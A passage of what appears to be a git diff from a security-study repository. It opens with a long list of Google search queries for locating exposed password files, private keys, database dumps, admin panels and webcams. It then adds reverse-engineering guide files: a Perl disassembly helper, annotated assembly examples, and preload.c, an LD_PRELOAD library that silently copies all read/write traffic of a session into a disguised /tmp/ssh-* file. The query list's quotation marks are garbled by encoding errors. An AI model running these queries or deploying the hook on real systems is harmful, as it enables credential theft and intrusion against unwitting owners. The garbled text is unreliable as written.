+intitle:index.of inbox +intitle:index.of inbox dbx +intitle:index.of ws_ftp.ini +intitle:intranet inurl:intranet +intext:โ€phoneโ€ +inurl:โ€/axs/ax-admin.plโ€ -s?ri?t +inurl:โ€/cricket/grapher.cgiโ€ +inurl:โ€bookmark.htmโ€ +inurl:โ€cactiโ€ +inurl:โ€graph_view.phpโ€ +โ€Settings Tree Viewโ€ -cvs -RPM +inurl:โ€newsletter/admin/โ€ +inurl:โ€newsletter/admin/โ€ intitle:โ€newsletter adminโ€ +inurl:โ€putty.regโ€ +inurl:โ€smb.confโ€ intext:โ€workgroupโ€ filetype:conf conf +inurl:*db filetype:mdb +inurl:/cgi-bin/pass.txt +inurl:/_layouts/settings +inurl:admin filetype:xls +inurl:admin intitle:login +inurl:backup filetype:mdb +inurl:build.err +inurl:cgi-bin/printenv +inurl:cgi-bin/testcgi.exe โ€œPlease distribute TestCGIโ€ +inurl:changepassword.asp +inurl:ds.py +inurl:email filetype:mdb +inurl:fcgi-bin/echo +inurl:forum filetype:mdb +inurl:forward filetype:forward -cvs +inurl:getmsg.html intitle:hotmail +inurl:log.nsf -gov +inurl:main.php phpMyAdmin +inurl:main.php Welcome to phpMyAdmin +inurl:netscape.hst +inurl:netscape.hst +inurl:netscape.ini +inurl:odbc.ini ext:ini -cvs +inurl:perl/printenv +inurl:php.ini filetype:ini +inurl:preferences.ini โ€œ[emule]โ€ +inurl:profiles filetype:mdb +inurl:report โ€œEVEREST Home Edition โ€ +inurl:server-info โ€œApache Server Informationโ€ +inurl:server-status โ€œapacheโ€ +inurl:snitz_forums_2000.mdb +inurl:ssl.conf filetype:conf +inurl:tdbin +inurl:vbstats.php โ€œpage generatedโ€ +inurl:wp-mail.php + โ€œThere doesnโ€™t seem to be any new mail.โ€ +inurl:XcCDONTS.asp +ipsec.conf +ipsec.secrets +ipsec.secrets +Lotus Domino address books +mail filetype:csv -site:gov intext:name +Microsoft Money Data Files +mt-db-pass.cgi files +MySQL tabledata dumps +mystuff.xml โ€“ Trillian data files +OWA Public Folders (direct view) +Peoples MSN contact lists +php-addressbook โ€œThis is the addressbook for *โ€ -warning +phpinfo() +phpMyAdmin dumps +phpMyAdmin dumps +private key files (.csr) +private key files (.key) +Quicken data files +rdbqds -site:.edu -site:.mil -site:.gov +robots.txt +site:edu admin grades +site:www.mailinator.com inurl:ShowMail.do +SQL data dumps +Squid cache server reports +Unreal IRCd +WebLog Referrers +Welcome to ntop! +Fichier contenant des informations sur le r?seau : +filetype:log intext:โ€ConnectionManager2โ€ณ +โ€œapricot โ€“ adminโ€ 00h +โ€œby Reimar Hoven. All Rights Reserved. Disclaimerโ€ | inurl:โ€log/logdb.dtaโ€ +โ€œNetwork Host Assessment Reportโ€ โ€œInternet Scannerโ€ +โ€œOutput produced by SysWatch *โ€ +โ€œPhorum Adminโ€ โ€œDatabase Connectionโ€ inurl:forum inurl:admin +phpOpenTrackerโ€ Statistics +โ€œpowered | performed by Beyond Securityโ€™s Automated Scanningโ€ -kazaa -example +โ€œShadow Security Scanner performed a vulnerability assessmentโ€ +โ€œSnortSnarf alert pageโ€ +โ€œThe following report contains confidential informationโ€ vulnerability -search +โ€œThe statistics were last upd?t?dโ€ โ€œDailyโ€-microsoft.com +โ€œthis proxy is working fine!โ€ โ€œenter *โ€ โ€œURL***โ€ * visit +โ€œThis report listsโ€ โ€œidentified by Internet Scannerโ€ +โ€œTraffic Analysis forโ€ โ€œRMON Port * on unit *โ€ +โ€œVersion Infoโ€ โ€œBoot Versionโ€ โ€œInternet Settingsโ€ +((inurl:ifgraph โ€œPage generated atโ€) OR (โ€œThis page was built using ifgraphโ€)) +Analysis Console for Incident Databases +ext:cfg radius.cfg +ext:cgi intext:โ€nrg-โ€ โ€ This web page was created on โ€ +filetype:pdf โ€œAssessment Reportโ€ nessus +filetype:php inurl:ipinfo.php โ€œDistributed Intrusion Detection Systemโ€ +filetype:php inurl:nqt intext:โ€Network Query Toolโ€ +filetype:vsd vsd network -samples -examples +intext:โ€Welcome to the Web V.Networksโ€ intitle:โ€V.Networks [Top]โ€ -filetype:htm +intitle:โ€ADSL Configuration pageโ€ +intitle:โ€Azureus : Java BitTorrent Client Trackerโ€ +intitle:โ€Belarc Advisor Current Profileโ€ intext:โ€Click here for Belarcโ€™s PC Management products, for large and small companies.โ€ +intitle:โ€BNBT Tracker Infoโ€ +intitle:โ€Microsoft Site Server Analysisโ€ +intitle:โ€Nessus Scan Reportโ€ โ€œThis file was generated by Nessusโ€ +intitle:โ€PHPBTTracker Statisticsโ€ | intitle:โ€PHPBT Tracker Statisticsโ€ +intitle:โ€Retina Reportโ€ โ€œCONFIDENTIAL INFORMATIONโ€ +intitle:โ€start.managing.the.deviceโ€ remote pbx acc +intitle:โ€sysinfo * โ€ intext:โ€Generated by Sysinfo * written by The Gamblers.โ€ +intitle:โ€twikiโ€ inurl:โ€TWikiUsersโ€ +inurl:โ€/catalog.nsfโ€ intitle:catalog +inurl:โ€install/install.phpโ€ +inurl:โ€map.asp?โ€ intitle:โ€WhatsUp Goldโ€ +inurl:โ€NmConsole/Login.aspโ€ | intitle:โ€Login โ€“ Ipswitch WhatsUp Professional 2005โ€ณ | intext:โ€Ipswitch WhatsUp Professional 2005 (SP1)โ€ โ€œIpswitch, Incโ€ +inurl:โ€sitescope.htmlโ€ intitle:โ€sitescopeโ€ intext:โ€refreshโ€ -demo +inurl:/adm-cfgedit.php +inurl:/cgi-bin/finger? โ€œIn real lifeโ€ +inurl:/cgi-bin/finger? Enter (account|host|user|username) +inurl:/counter/index.php intitle:โ€+PHPCounter 7.*โ€ +inurl:CrazyWWWBoard.cgi intext:โ€detailed debugging informationโ€ +inurl:login.jsp.bak +inurl:ovcgi/jovw +inurl:phpSysInfo/ โ€œcreated by phpsysinfoโ€ +inurl:portscan.php โ€œfrom Portโ€|โ€Port Rangeโ€ +inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl +inurl:statrep.nsf -gov +inurl:status.cgi?host=all +inurl:testcgi xitami +inurl:webalizer filetype:png -.gov -.edu -.mil -opendarwin +inurl:webutil.pl +Looking Glass +site:netcraft.com intitle:That.Site.Running Apache +โ€œA syntax error has occurredโ€ filetype:ihtml +โ€œaccess denied for userโ€ โ€œusing passwordโ€ +โ€œAn illegal character has been found in the statementโ€ -โ€previous messageโ€ +โ€œASP.NET_SessionIdโ€ โ€œdata source=โ€ +โ€œCanโ€™t connect to localโ€ intitle:warning +โ€œChatologica MetaSearchโ€ โ€œstack trackingโ€ +โ€œdetected an internal error [IBM][CLI Driver][DB2/6000]โ€ +โ€œerror found handling the requestโ€ cocoon filetype:xml +โ€œFatal error: Call to undefined functionโ€ -reply -the -next +โ€œIncorrect syntax nearโ€ +โ€œIncorrect syntax nearโ€ +โ€œInternal Server Errorโ€ โ€œserver atโ€ +โ€œInvision Power Board Database Errorโ€ +โ€œORA-00933: SQL command not properly endedโ€ +โ€œORA-12541: TNS:no listenerโ€ intitle:โ€error occurredโ€ +โ€œParse error: parse error, unexpected T_VARIABLEโ€ โ€œon lineโ€ filetype:php +โ€œPostgreSQL query failed: ERROR: parser: parse errorโ€ +โ€œSupplied argument is not a valid MySQL result resourceโ€ +โ€œSyntax error in query expression โ€ -the +โ€œThe s?ri?t whose uid is โ€ โ€œis not allowed to accessโ€ +โ€œThere seems to have been a problem with theโ€ โ€ Please try again by clicking the Refresh button in your web browser.โ€ +โ€œUnable to jump to rowโ€ โ€œon MySQL result indexโ€ โ€œon lineโ€ +โ€œUnclosed quotation mark before the character stringโ€ +โ€œWarning: Bad arguments to (join|implode) () inโ€ โ€œon lineโ€ -help -forum +โ€œWarning: Cannot modify header information โ€“ headers already sentโ€ +โ€œWarning: Division by zero inโ€ โ€œon lineโ€ -forum + +โ€œWarning: mysql_connect(): Access denied for user: โ€˜*@*โ€ โ€œon lineโ€ -help -forum +โ€œWarning: mysql_query()โ€ โ€œinvalid queryโ€ +โ€œWarning: pg_connect(): Unable to connect to PostgreSQL server: FATALโ€ +โ€œWarning: Supplied argument is not a valid File-Handle resource inโ€ +โ€œWarning:โ€ โ€œfailed to open stream: HTTP request failedโ€ โ€œon lineโ€ +โ€œWarning:โ€ โ€œSAFE MODE Restriction in effect.โ€ โ€œThe s?ri?t whose uid isโ€ โ€œis not allowed to access owned by uid 0 inโ€ โ€œon lineโ€ +โ€œSQL Server Driver][SQL Server]Line 1: Incorrect syntax nearโ€ +An unexpected token โ€œEND-OF-STATEMENTโ€ was found +Coldfusion Error Pages +filetype:asp + โ€œ[ODBC SQLโ€ +filetype:asp โ€œCustom Error Messageโ€ Category Source +filetype:log โ€œPHP Parse errorโ€ | โ€œPHP Warningโ€ | โ€œPHP Errorโ€ +filetype:php inurl:โ€logging.phpโ€ โ€œDiscuzโ€ error +ht://Dig htsearch error +IIS 4.0 error messages +IIS web server error messages +Internal Server Error +intext:โ€Error Message : Error loading required libraries.โ€ +intext:โ€Warning: Failed openingโ€ โ€œon lineโ€ โ€œinclude_pathโ€ +intitle:โ€Apache Tomcatโ€ โ€œError Reportโ€ +intitle:โ€Default PLESK Pageโ€ +intitle:โ€Error Occurred While Processing Requestโ€ +WHERE (SELECT|INSERT) filetype:cfm +intitle:โ€Error Occurredโ€ โ€œThe error occurred inโ€ filetype:cfm +intitle:โ€Error using Hypernewsโ€ โ€œServer Softwareโ€ +intitle:โ€Execution of this s?ri?t not permittedโ€ +intitle:โ€Under constructionโ€ โ€œdoes not currently haveโ€ +intitle:Configuration.File inurl:softcart.exe +MYSQL error message: supplied argumentโ€ฆ. +mysql error with query +Netscape Application Server Error page +ORA-00921: unexpected end of SQL command +ORA-00921: unexpected end of SQL command +ORA-00936: missing expression +PHP application warnings failing โ€œinclude_pathโ€ +sitebuildercontent +sitebuilderfiles +sitebuilderpictures +Snitz! forums db path error +SQL syntax error +Supplied argument is not a valid PostgreSQL result +warning โ€œerror on lineโ€ php sablotron +Windows 2000 web server error messages +โ€œftp://โ€ โ€œwww.eastgame.netโ€ +โ€œhtml allowedโ€ guestbook +: vBulletin Version 1.1.5โ€ณ +โ€œSelect a database to viewโ€ intitle:โ€filemaker proโ€ +โ€œset up the administrator userโ€ inurl:pivot +โ€œThere are no Administrators Accountsโ€ inurl:admin.php -mysql_fetch_row +โ€œWelcome to Administrationโ€ โ€œGeneralโ€ โ€œLocal Domainsโ€ โ€œSMTP Authenticationโ€ inurl:admin +โ€œWelcome to Intranetโ€ +โ€œWelcome to PHP-Nukeโ€ congratulations +โ€œWelcome to the Prestige Web-Based Configuratorโ€ +โ€œYaBB SE Dev Teamโ€ +โ€œyou can now passwordโ€ | โ€œthis is a special page only seen by you. your profile visitorsโ€ inurl:imchaos +(โ€œIndexed.Byโ€|โ€Monitored.Byโ€) hAcxFtpScan +(inurl:/shop.cgi/page=) | (inurl:/shop.pl/page=) +allinurl:โ€index.phpโ€ โ€œsite=sglinksโ€ +allinurl:install/install.php +allinurl:intranet admin +filetype:cgi inurl:โ€fileman.cgiโ€ +filetype:cgi inurl:โ€Web_Store.cgiโ€ +filetype:php inurl:vAuthenticate +filetype:pl intitle:โ€Ultraboard Setupโ€ +Gallery in configuration mode +Hassan Consultingโ€™s Shopping Cart Version 1.18 +intext:โ€Warning: * am able * write ** configuration fileโ€ โ€œincludes/configure.phpโ€ - +intitle:โ€Gateway Configuration Menuโ€ +intitle:โ€Horde :: My Portalโ€ -โ€[Ticketsโ€ +intitle:โ€Mail Server CMailServer Webmailโ€ โ€œ5.2โ€ณ +intitle:โ€MvBlog poweredโ€ +intitle:โ€Remote Desktop Web Connectionโ€ +intitle:โ€Samba Web Administration Toolโ€ intext:โ€Help Workgroupโ€ +intitle:โ€Terminal Services Web Connectionโ€ +intitle:โ€Uploader โ€“ Uploader v6โ€ณ -pixloads.com +intitle:osCommerce inurl:admin intext:โ€redistributable under the GNUโ€ intext:โ€Online Catalogโ€ -demo -site:oscommerce.com +intitle:phpMyAdmin โ€œWelcome to phpMyAdmin ***โ€ โ€œrunning on * as root@*โ€ +intitle:phpMyAdmin โ€œWelcome to phpMyAdmin ***โ€ โ€œrunning on * as root@*โ€ +inurl:โ€/NSearch/AdminServletโ€ +inurl:โ€index.php? module=ew_filemanagerโ€ +inurl:aol*/_do/rss_popup?blogID= +inurl:footer.inc.php +inurl:info.inc.php +inurl:ManyServers.htm +inurl:newsdesk.cgi? inurl:โ€t=โ€ +inurl:pls/admin_/gateway.htm +inurl:rpSys.html +inurl:search.php vbulletin +inurl:servlet/webacc +natterchat inurl:home.asp -site:natterchat.co.uk +XOOPS Custom Installation +inurl:htpasswd filetype:htpasswd +inurl:yapboz_detay.asp + View Webcam User Accessing +allinurl:control/multiview +inurl:โ€ViewerFrame?Mode=โ€ +intitle:โ€WJ-NT104 Main Pageโ€ +inurl:netw_tcp.shtml +intitle:โ€supervisioncam protocolโ€ diff --git a/src/Security/Technical Papers and Notes/Docs/The Neophyte's Guide To Hacking.odt b/src/Security/Technical Papers and Notes/Docs/The Neophyte's Guide To Hacking.odt new file mode 100755 index 0000000..b0e3520 Binary files /dev/null and b/src/Security/Technical Papers and Notes/Docs/The Neophyte's Guide To Hacking.odt differ diff --git a/src/Security/Technical Papers and Notes/PDFs/Blue Team Cheat sheet.pdf b/src/Security/Technical Papers and Notes/PDFs/Blue Team Cheat sheet.pdf new file mode 100644 index 0000000..5833718 Binary files /dev/null and b/src/Security/Technical Papers and Notes/PDFs/Blue Team Cheat sheet.pdf differ diff --git a/src/Security/Technical Papers and Notes/PDFs/RSA - Theory and Implementation.pdf b/src/Security/Technical Papers and Notes/PDFs/RSA - Theory and Implementation.pdf new file mode 100644 index 0000000..0ff0a4f Binary files /dev/null and b/src/Security/Technical Papers and Notes/PDFs/RSA - Theory and Implementation.pdf differ diff --git a/src/Security/Technical Papers and Notes/PDFs/Reverse Engineering Malware.pdf b/src/Security/Technical Papers and Notes/PDFs/Reverse Engineering Malware.pdf new file mode 100644 index 0000000..4de82c6 Binary files /dev/null and b/src/Security/Technical Papers and Notes/PDFs/Reverse Engineering Malware.pdf differ diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/code/constructor.c b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/code/constructor.c new file mode 100644 index 0000000..f0476e1 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/code/constructor.c @@ -0,0 +1,8 @@ +#include + +int _my_begin() __attribute__((constructor)); + +int _my_begin() +{ + printf("Hi. I live at 0x%x Computer St.\n", &_my_begin); +} diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/code/disasm.pl.txt b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/code/disasm.pl.txt new file mode 100644 index 0000000..1f7ad8f --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/code/disasm.pl.txt @@ -0,0 +1,271 @@ +#!/usr/bin/perl -w + +# Disasm.pl v0.4 + +#Assumes that the file we're working with is stripped +#TODO: +# 0. Sort NUMERICALLY on function call names, not lexographically +# 1. Get this to work if symbols are present +# 2. Add options or speed up the finding of unused functions (can we do it +# without an extra pass?) +# 3. Fix various FIXME's +# 4. Make work with sparc + +use strict; +use Getopt::Long; + +my ($call_graph, $fnames); + +if($#ARGV < 0) +{ + print "Usage: $0 [options]\n"; + print "\t--fnames\tprint function names\n"; + print "\t--graph\tgenerate file with graph information for dot\n"; + exit 1; +} else { + + $call_graph = $fnames = 0; + GetOptions( "fnames" => \$fnames, # --fnames + "graph" => \$call_graph # --graph + ); + +} + + + +my %symbols; + +my $fprefix = "function #"; +my $lprefix = "label #"; + +my $return = "ret "; +my $call = "call 0x"; +my $jump = "j.. 0x"; +my $retsize = 1; #size of ret opcode + +#Sparc: +#FIXME: There's a few issues with sparc opcodes: +# 1. We need to handle command line options to specify to use sparc +# 2. We need to allow arbitrary spacing after the branch instruction +# 3. Some functions return with just ret, some return with ret then restore +my $sreturn = "restore"; +my $scall = "call "; +my $sjump = " b[^t0-9].[^O-9a-f].[ ]*"; +my $sparc = `uname -a` =~ /sparc/; + +if($sparc) +{ + $return = $sreturn; + $call = $scall; + $jump = $sjump; +} + +my $filename = shift(@ARGV); +my @lines = `objdump -TC $filename`; + +my %functions; +my %labels; +my %calls; + + + +foreach (@lines) +{ + if(/0([0-9a-f]+).*\*UND\*.* ([^ ]+)$/) + { + my $temp = $2; + chop $temp; + $symbols{$1} = $temp; + } +} + +@lines = `objdump -dj .text $filename`; + + +#counters for functions, unused functions, and labels +my $fcount = 1; +my $lcount = 1; + +foreach(@lines) +{ + #FIXME: Hack that also assumes stripped binary.. How can we factor this + #out of the loop? + if(/([0]+)([0-9a-f]+)\ <.text>/) + { + # print "Text @ $1 $2 ($_)"; + $symbols{$2} = "_start"; + $functions{$2} = "_start"; + } + + if(/$call([0-9a-f]+)/ && + ! exists($symbols{$1})) + # if(/([0-9a-f]+).*$function/) + { + $symbols{$1} = "$fprefix$fcount"; + $fcount++; + + $functions{$1} = $symbols{$1}; + } + elsif(/$jump([0-9a-f]+)/ && + ! exists($symbols{$1})) + { + $symbols{$1} = "$lprefix$lcount"; + $lcount++; + + $labels{$1} = $symbols{$1}; + } +} + +#FIXME: This should be an option... +# +# Nasko - should it? misses some data in the output just uncomment the if +# statement and the corresponding closing brace to make --fnames work +# + +my $inFunc; +my $lastRet; +my $storeRet = 0; +my $counter = 0; + + +# if ($fnames == 1) { + + foreach(@lines) + { + ++$counter; + #HACK: Yeah, this sucks.. but we can't just add 1 to get the next address + #and I don't know how to peek at the next line + # + # Nasko - just use $lines[$counter] + # + if($storeRet == 1) + { + if(/([0-9a-f]+)/) + { + $lastRet = $1; + $storeRet = 0; + } + else + { + next; + } + } + if(/([0-9a-f]+)/ and exists($functions{$1})) + { + $inFunc = 1; + } + elsif(/([0-9a-f]+).*$return/) + { + + if($inFunc == 0) + { + $symbols{$lastRet} = "function #$fcount (unused)"; + $functions{$lastRet} = "function #$fcount (unused)"; + $fcount++; + } + #FIXME: Sure would be nice to peek at the next line and set lastRet + #right here.. + $storeRet = 1; + $inFunc = 0; + } + } +#} + +my $localFunc; +foreach(@lines) +{ + + if(/([0-9a-f]+)/ and exists($symbols{$1})) + { + my $symb = $symbols{$1}; + if ($symb =~ /label/) { + $_ = "$symb:\n$_"; + } else { + $_ = "\n$symb:\n$_"; + $localFunc = $symb; + } + } + elsif(/.*$return/) + { + $_ .= "return\n\n"; + } + elsif(/.*$jump([0-9a-f]+)/ || + /.*$call([0-9a-f]+)/) + { + chop; + if(exists($symbols{$1})) + { + $_ .= "\t<" . $symbols{$1} . ">\n"; + } + else + { + $_ .= "\t\n"; + } + + my $symb = $symbols{$1}; + +# Why skip labels?? +# if ($symb =~ /label/) { +# next; +# } + + if(exists($calls{ $localFunc })) + { + push @{$calls{ $localFunc } }, $symb; + } + else + { + $calls{ $localFunc } = [ $symb ]; + } + } + print; +} + +print "\nKnown symbols:\n"; + +foreach (sort (keys %symbols)) +{ + if (!($symbols{$_} =~ /label/)) + { + print; + print ": $symbols{$_}\n"; + } +} + +print "\nCall graph:\n"; + +my $fName; +if ($call_graph == 1) { + # a local variable for each function name + # open the file to store the definition of the graph + open(FILE, ">call_graph") || + die "Couldn't open file for writing the call graph\n"; + print FILE "digraph prof {\n"; +} + +#foreach (sort keys %calls) +foreach (%calls) +{ + $fName = $_; + + print; + print ":\n"; + foreach (@{ $calls{$_} }) + { + my $mytmp = $_; + if(!($_ =~ /label/)) + { + print " calls $_\n"; + + # print to the graph file + if($call_graph == 1) {print FILE "\t\"$fName\" -> \"$_\"\n"}; + } + } + print "\n"; +} + +if ($call_graph == 1) { + # put the closing brace and close the file + print FILE "}\n"; + close(FILE); +} diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/code/preload.c b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/code/preload.c new file mode 100644 index 0000000..de59c1e --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/code/preload.c @@ -0,0 +1,100 @@ +#include +#include +#include +#include +#include + +#define read old_read +# define write old_write +# include +# undef read +#undef write + + +// #define DEBUG + +#define OUTFILE "/tmp/ssh-CrLvXXXXXX" + +//#define NEW_SESSION "-------------------------------\nNew Session:\n-----" +#define NEW_SESSION "" + +typedef int (*fd_ptr_t)(int, void *, int); + +static void *handle = NULL; +static int outfd = 0; +static fd_ptr_t read_ptr; +static fd_ptr_t write_ptr; + +void init_dl() +{ + char template[] = OUTFILE; + if(!handle) + { + if((handle = dlopen("/lib/libc.so.6", RTLD_LAZY)) == NULL) + { + printf("%s\n", dlerror()); + exit(1); + } + + if((read_ptr = dlsym(handle, "read")) == NULL) + { + printf("%s\n", dlerror()); + exit(1); + } + if((write_ptr = dlsym(handle, "write")) == NULL) + { + printf("%s\n", dlerror()); + exit(1); + } + if((outfd = mkstemp(template)) == -1) + { +#ifdef DEBUG + perror("Outfile"); + fprintf(stderr, "Templ: %s\n", template); +#endif + } + write(outfd, NEW_SESSION, strlen(NEW_SESSION)); + } +} + +int read(int fd, void *buf, int len) +{ + int read_len; + +#ifdef DEBUG + fprintf(stderr, "read = 0x%x, read(%d,0x%x,%d);\n", read_ptr, fd, buf, len); +#endif + init_dl(); + + read_len = read_ptr(fd, buf, len); + + if(read_len > 0) + write_ptr(outfd, buf, read_len); + + return read_len; +} + +int write(int fd, void *buf, int len) +{ + int write_len; +#ifdef DEBUG + fprintf(stderr, "read = 0x%x, read(%d,0x%x,%d);\n", read_ptr, fd, buf, len); +#endif + init_dl(); + + write_len = write_ptr(fd, buf, len); + + if(write_len > 0) + write_ptr(outfd, buf, write_len); + + return write_len; +} + +#ifdef DEBUG +int main() +{ + char buf[80]; + read(STDIN_FILENO, buf, sizeof(buf)-1); + return 0; +} +#endif diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-char-O0.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-char-O0.s new file mode 100644 index 0000000..3131f0c --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-char-O0.s @@ -0,0 +1,88 @@ + .file "array-stack-char.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "hello there, govna!" +.text + .align 4 +.globl charArray + .type charArray,@function +charArray: + pushl %ebp + movl %esp,%ebp + /* Subtract enough space for the array and then some. Such large stack + * allocations are a HUGE clue that somebody is working with arrays on + * the stack. */ + subl $520,%esp + + + /* mystery arg to strncpy */ + addl $-4,%esp + + /* This line is perplexing at first, but scan down. Its the length + * argument to strncpy. This gives us the hint that GCC allocated 8 + * extra bytes on the stack */ + pushl $511 + /* string to copy */ + pushl $.LC0 + /* address of the buffer to copy into */ + leal -512(%ebp),%eax + pushl %eax + call strncpy + /* Post-call stack adjust */ + addl $16,%esp + + /* more mystery args */ + addl $-12,%esp + /* Strlen */ + pushl $.LC0 + call strlen + /* stack ajust */ + addl $16,%esp + + /* Return value transfer (unoptimized) */ + movl %eax,%eax + + /* put address of string into edx */ + leal -512(%ebp),%edx + + + + movb $0,(%eax,%edx) + /* + Recall: disp(%base, %index, scale) = disp + %base + %index*scale. + In this case, base and scale were omitted, so we have the address + %eax + %edx. (Scale is assumed to be one). Since %eax contains the + return value from strlen, we are doing string[strlen(.LC0)] = 0. + In otherwords, we are null terminating the string, in case the + strncpy call failed to copy everything. Think about this for a + minute. This is a bug. Can you see why? + + Answer: If the strncpy call failed, LESS than .LC0 would have been + copied because there wasn't enough room! Hence this is a bug that we have discovered through painstaking analysis of the assembly that the + author of the C code overlooked! (To those of you who worry this may + be a contrived example, I wrote the .c file, and didn't notice this + bug until looking at the assembly just now). + + Techniques to use bugs like this to our advantage will be discussed + later, in the buffer overflow chapter. + */ + + + /* mystery arg */ + addl $-12,%esp + leal -512(%ebp),%eax + pushl %eax + /* + printArray is a bogus function that we call simply to prevent the + optimizer from optimizing away all our code in future examples. + */ + call printArray + addl $16,%esp +.L2: + leave + ret +.Lfe1: + .size charArray,.Lfe1-charArray + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-char-O2.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-char-O2.s new file mode 100644 index 0000000..62745ea --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-char-O2.s @@ -0,0 +1,31 @@ + .file "array-stack-char.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "hello there, govna!" +.text + .align 4 +.globl charArray + .type charArray,@function +charArray: + pushl %ebp + movl %esp,%ebp + subl $532,%esp + pushl %ebx + addl $-4,%esp + pushl $511 + pushl $.LC0 + leal -512(%ebp),%ebx + pushl %ebx + call strncpy + movb $0,-493(%ebp) + addl $-12,%esp + pushl %ebx + call printArray + movl -536(%ebp),%ebx + leave + ret +.Lfe1: + .size charArray,.Lfe1-charArray + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-char-full.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-char-full.s new file mode 100644 index 0000000..e4895c1 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-char-full.s @@ -0,0 +1,30 @@ + .file "array-stack-char.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "hello there, govna!" +.text + .align 4 +.globl charArray + .type charArray,@function +charArray: + subl $536,%esp + pushl %ebx + addl $-4,%esp + pushl $511 + pushl $.LC0 + leal 28(%esp),%ebx + pushl %ebx + call strncpy + movb $0,51(%esp) + addl $-12,%esp + pushl %ebx + call printArray + addl $32,%esp + popl %ebx + addl $536,%esp + ret +.Lfe1: + .size charArray,.Lfe1-charArray + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-char.c b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-char.c new file mode 100644 index 0000000..0cbf36f --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-char.c @@ -0,0 +1,13 @@ +#include + +void charArray() +{ + char buf[512]; + + strncpy(buf, "hello there, govna!", sizeof(buf)-1); + + buf[strlen("hello there, govna!")] = 0; + + printArray(buf); +} + diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int1D-O0.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int1D-O0.s new file mode 100644 index 0000000..93348c0 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int1D-O0.s @@ -0,0 +1,74 @@ + .file "array-stack-int1D.c" + .version "01.01" +gcc2_compiled.: +.text + .align 4 +.globl intArray + .type intArray,@function +intArray: + pushl %ebp + movl %esp,%ebp + + /* Woah thats a lot of space */ + subl $2072,%esp + + /* nop is a Null OPeration. It does nothing but padd our instruction + * space */ + nop + + /* Set some variable var1 to zero. (Keep track of it on your stack + * sheet!) */ + movl $0,-2052(%ebp) + + /* alignment noise */ + .p2align 4,,7 +.L3: + + /* Scanning ahead, we see what looks like it could be a loop: Double + * jump, label here, label after comparason.. */ + /* Recall: "Jump if -2052(%ebp) le $511" */ + cmpl $511,-2052(%ebp) + jle .L7 + + /* if var1 > 511, exit loop */ + jmp .L5 + .p2align 4,,7 +.L6: + + /* put var1 in eax */ + movl -2052(%ebp),%eax + movl %eax,%edx + + /* Here we see our indexing operation begin: + Place var1*4 into %eax */ + leal 0(,%edx,4),%eax + + /* place the address of some nicely aligned quantity into %edx + (A large array, perhaps?) */ + leal -2048(%ebp),%edx + + /* Place var1 into ecx */ + movl -2052(%ebp),%ecx + + /* *(%eax + %edx) = %ecx; -> array1[var1] = var1 + (because %eax = var1*4 */ + movl %ecx,(%eax,%edx) +.L5: + /* var1++ */ + incl -2052(%ebp) + /* loop */ + jmp .L4 + .p2align 4,,7 +.L4: + /* Printarray call to prevent over-optimization */ + addl $-12,%esp + leal -2048(%ebp),%eax + pushl %eax + call printArray + addl $16,%esp +.L2: + leave + ret +.Lfe1: + .size intArray,.Lfe1-intArray + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int1D-O2.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int1D-O2.s new file mode 100644 index 0000000..29cbafe --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int1D-O2.s @@ -0,0 +1,55 @@ + .file "array-stack-int1D.c" + .version "01.01" +gcc2_compiled.: +.text + .align 4 +.globl intArray + .type intArray,@function +intArray: + pushl %ebp + movl %esp,%ebp + + /* A whole lot of stack space is clue to an array */ + subl $2056,%esp + + /* leals are clue to the fact that we are going to be doing some more + * indexing in the future. From this its save to assume that -2048 + * down from %ebp is our array, and local variables are after it. */ + leal 